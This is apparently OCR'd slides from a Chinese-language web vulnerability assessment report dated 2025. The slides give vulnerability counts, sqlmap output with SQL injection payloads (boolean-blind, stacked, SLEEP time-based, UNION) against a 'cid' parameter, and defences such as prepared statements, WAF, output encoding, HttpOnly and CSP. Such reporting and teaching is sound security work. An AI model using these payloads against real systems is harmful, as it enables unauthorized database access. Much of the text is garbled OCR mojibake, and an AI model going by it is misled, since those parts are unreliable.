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PR iR A ET

GEE B2 EEMY SEEE
SQL Injection A : 0.06% 4
& 2 6.66%
EX 1 3.33%
HEPRIZ IR & 3 9.99% 9
& 5 16.65%
~ _ EX 2 6.66%
fElasy B EM T 3
= 1 3.33%
= 1 3.33%
XSS 37 5 16.65% 7
& 1 3.33%
= 3 9.99%
BEERA T & 1 3.33% 5
& 1 3.33%
LR E R & 2 6.66% 2
=1 100% 30
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SQL injectionZE (B} EH k)

Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=62' AND 8236=8236 AND 'FBTZ'='FBTZ

Type: stacked queries
Title: MySQL = 5.0.12 stacked queries (comment)
Payload: cid=62"';SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=62' AND (SELECT 4393 FROM (SELECT(SLEEP(5)))UHXu) AND 'xJkU'='xJkuU

Type: UNION query
Title: Generic UNION query (NULL) - 1@ columns
Payload: cid=-9586"' UNION ALL SELECT NULL,CONCAT(0x71706b7171,0x6e56426264597a5773504d726
7871) ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
[ ] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 10 or 11 or 2016 or 2019 or 2022
web application technology: Microsoft IIS 10.0, ASP.NET 4.0.30319, ASP.NET
back-end DBMS: MySQL = 5.0.12
[ ] [ ] fetching current database
current database: 'Jfjjpt’
[ 11 ] tetched data logged to text files under '/home/code/.local/share/sqlmap/out
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SQL injectionPhEIE M2 2E

> Defense in Depth (&€ % Fh &
O#f A7 (input sanitization)
O A B85 (input validation)
O2LE{EE:E (prepared statement)
Ogx/)\#EPRIRE Rl (Principle of Least Privilege)

O£ FH WAF (Web Application Firewall) P&
OZxZEIERET M FE& (SSDLC)

EE
AmFAEA
- HERZEHANTETEREAR  RAERERFRREERER
ARRE -

A BIEZBE - ®%SQLE W E e Bk -
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XSSPhs&£2

> Output Encoding (& & Bl G it 4R 15)

<div class="comment">
<script>alert("XSS")</script>
Character Entity Encoding </div>

&quot;

& &amp; l

&apos; <div class="comment">
< &lt; &lt;script&gt;alert(&quot; XSS&quot;)&lt;/script&gt;
S &gt; </div>
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® Cookiei% EEHttpOnly /& 14
o i 55 P JavaScriptig B Cookie B

® 5% E Content Security Policy
® https://content-security-policy.com/

Content Security Policy

Request:
-~ http://example.com/assets/js/file.js
s

P, S

Request:
http://example.com/assets/css/file.css

Request: (blocked:csp)
http://malicious.com/assets/js/xss.js

Content-Scurity-Policy:

default-src http//www.example.com

==

Content Security Policy evaluates and blocks requests for assets

2025/5/12

OCSP X EALETE - FHEOBEMW

® https://csp-evaluator.withgoogle.com/

L

Content Security Policy

Legend

ok itibiebess Can THQUARl B8 BYESRIRC Contiser Lisng Sict Oynamic i Comeinanin win CSP
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B ) rBER 2 EFEE S GFET @ Maimze @ BT
(] Files
(] images
() Flash
] Basket % ) %))
e ¥ £ AN
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07/19/2016 22:04 07/19/2016 2157 07/19/2016 2158 07/1912016 21.58 07/1912016 21'57 07/19/2016 22.20 07/19/2016 22:20 07/19/2016 2220
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362 KB 107 KB
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